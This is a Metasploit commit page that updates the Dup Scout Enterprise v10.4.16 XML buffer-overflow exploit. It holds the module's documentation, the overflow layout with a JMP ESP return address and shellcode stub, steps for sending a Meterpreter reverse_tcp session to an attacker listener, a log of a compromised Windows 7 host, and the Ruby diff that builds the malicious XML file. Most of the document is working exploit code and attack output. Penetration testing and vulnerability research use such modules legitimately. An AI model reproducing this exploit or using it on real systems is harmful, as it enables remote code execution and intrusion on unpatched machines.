Skip to content

Commit ca4ad1d

Browse files
committed
Land rapid7#9478, Improve Dup Scout BOF exploit
2 parents d1b1d67 + ab0d186 commit ca4ad1d

File tree

2 files changed

+78
-45
lines changed

2 files changed

+78
-45
lines changed
Lines changed: 65 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,45 +1,80 @@
1-
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file.
1+
## Description
2+
3+
This module exploits a buffer overflow in `libpal.dll` that is used by [Dup Scout Enterprise v10.4.16](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). The buffer overflow occurs during a call to the `SCA_XmlParser::GetToken` function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The `SCA_XmlParser::GetToken` function is passed a heap pointer as an argument, which was created by the `SCA_XmlParser::LoadXmlFile` function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the `SCA_XmlParser::ParseXmlElement` function. While parsing the name attribute, the `SCA_XmlParser::GetToken` function copies from the heap buffer to the stack buffer until a single quote (to match `name='`, or a double quote to match `name="`) is found or until it finishes reading from the allocated heap buffer.
24

35
## Vulnerable Application
46

5-
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe).
7+
The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes.
8+
9+
Note: The allocated stack buffer size is 1564 bytes but the first four bytes are filled with `\xff` during execution of the `SCA_XmlParser::GetToken` function.
10+
11+
Since the stack buffer was allocated as a local variable for the `SCA_XmlParser::ParseXmlElement` function, the program's control flow isn't taken over until the return of the `SCA_XmlParser::ParseXmlElement` function even though the return value is overwritten during execution of the `SCA_XmlParser::GetToken` function.
12+
13+
The format of the crafted Command file will be:
14+
15+
```
16+
buf = "<?xml ?><a name='"
17+
buf << make_nops(1560) # Fill up the stack buffer
18+
buf << addr_of_jmp_esp # overwrite the return address for SCA_XmlParser::ParseXmlElement
19+
buf << make_nops(16) # account for ret 10h in SCA_XmlParser::ParseXmlElement
20+
buf << inst1 # LEA EAX, [ESP+14h] # Prepare EAX to jump to payload
21+
buf << inst2 # JMP EAX # Jump to our desired location
22+
buf << make_nops(14) # Fill past possibly corrupted location
23+
buf << payload # Location that is jumped to
24+
```
25+
26+
Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that after the user-supplied Command file has been processed.
627

728
## Verification Steps
829

9-
1. Start msfconsole
10-
2. Do: `exploit/windows/fileformat/dupscout_xml`
11-
3. Do: `set PAYLOAD [PAYLOAD]`
12-
4. Do: `run`
30+
- [ ] Install Dup Scout Enterprise on target system
31+
- [ ] `./msfconsole`
32+
- [ ] `use exploit/windows/fileformat/dupscout_xml`
33+
- [ ] `set payload windows/meterpreter/reverse_tcp`
34+
- [ ] `set lhost <lhost>`
35+
- [ ] `run`
36+
- [ ] `use exploit/multi/handler`
37+
- [ ] `set payload windows/meterpreter/reverse_tcp`
38+
- [ ] `set lhost <lhost>`
39+
- [ ] `run`
40+
- [ ] From the DupScout Enterprise menu select Command -> Import Command
41+
- [ ] Select file generated by metasploit
42+
- [ ] Get a session
43+
44+
45+
## Scenarios
46+
47+
### Dup Scout Enterprise v10.4.16 Windows 7 SP1 x64.
1348

14-
## Example
1549
```
16-
msf > use exploit/windows/fileformat/dupscout_xml
17-
msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
18-
PAYLOAD => windows/meterpreter/reverse_tcp
19-
msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146
20-
LHOST => 172.16.40.146
21-
msf exploit(windows/fileformat/dupscout_xml) > run
50+
msf5 > use exploit/windows/fileformat/dupscout_xml
51+
msf5 exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp
52+
payload => windows/meterpreter/reverse_tcp
53+
msf5 exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120
54+
lhost => 172.22.222.120
55+
msf5 exploit(windows/fileformat/dupscout_xml) > run
2256
2357
[*] Creating 'msf.xml' file ...
24-
[+] msf.xml stored at /root/.msf4/local/msf.xml
25-
msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
26-
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
27-
PAYLOAD => windows/meterpreter/reverse_tcp
28-
msf exploit(multi/handler) > set LHOST 172.16.40.146
29-
LHOST => 172.16.40.146
30-
msf exploit(multi/handler) > run
31-
32-
[*] Started reverse TCP handler on 172.16.40.146:4444
33-
[*] Sending stage (179779 bytes) to 172.16.40.144
34-
[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000
35-
36-
meterpreter > sysinfo
37-
Computer : PC
58+
[+] msf.xml stored at /home/msfdev/.msf4/local/msf.xml
59+
msf5 exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
60+
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
61+
payload => windows/meterpreter/reverse_tcp
62+
msf5 exploit(multi/handler) > set lhost 172.22.222.120
63+
lhost => 172.22.222.120
64+
msf5 exploit(multi/handler) > run
65+
66+
[*] Started reverse TCP handler on 172.22.222.120:4444
67+
[*] Sending stage (179779 bytes) to 172.22.222.122
68+
69+
meterpreter > getuid
70+
Server username: .\pwnduser
71+
meterpreter > sysinfo
72+
Computer : .
3873
OS : Windows 7 (Build 7601, Service Pack 1).
39-
Architecture : x86
40-
System Language : pt_PT
74+
Architecture : x64
75+
System Language : en_US
4176
Domain : WORKGROUP
42-
Logged On Users : 1
77+
Logged On Users : 2
4378
Meterpreter : x86/windows
4479
meterpreter >
4580
```

modules/exploits/windows/fileformat/dupscout_xml.rb

Lines changed: 13 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,12 @@ def initialize(info = {})
3333
'Platform' => 'win',
3434
'Payload' =>
3535
{
36-
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
36+
'BadChars' => "\x27",
3737
'StackAdjustment' => -3500
3838
},
3939
'Targets' =>
4040
[
41-
['Windows Universal', { 'Ret' => 0x651BB77A } ]
41+
['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
4242
],
4343
'Privileged' => false,
4444
'DisclosureDate' => 'Mar 29 2017',
@@ -51,21 +51,19 @@ def initialize(info = {})
5151
end
5252

5353
def exploit
54-
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
55-
jmp = "\xFF\xE0" # JMP ESP
54+
esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
55+
jmp = "\xff\xe0" # JMP EAX
5656

57-
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
58-
buffer << "\x90" * 1560
59-
buffer << [target.ret].pack('V')
60-
buffer << "\x90" * 16
61-
buffer << esp
62-
buffer << jmp
63-
buffer << "\x90" * 70
64-
buffer << payload.encoded
65-
buffer << "\x90" * 5000
66-
buffer << "\n</classify>"
57+
buf = "<?xml ?><a name='"
58+
buf << make_nops(1560)
59+
buf << [target.ret].pack('V')
60+
buf << make_nops(16)
61+
buf << esp
62+
buf << jmp
63+
buf << make_nops(14)
64+
buf << payload.encoded
6765

6866
print_status("Creating '#{datastore['FILENAME']}' file ...")
69-
file_create(buffer)
67+
file_create(buf)
7068
end
7169
end

0 commit comments

Comments
 (0)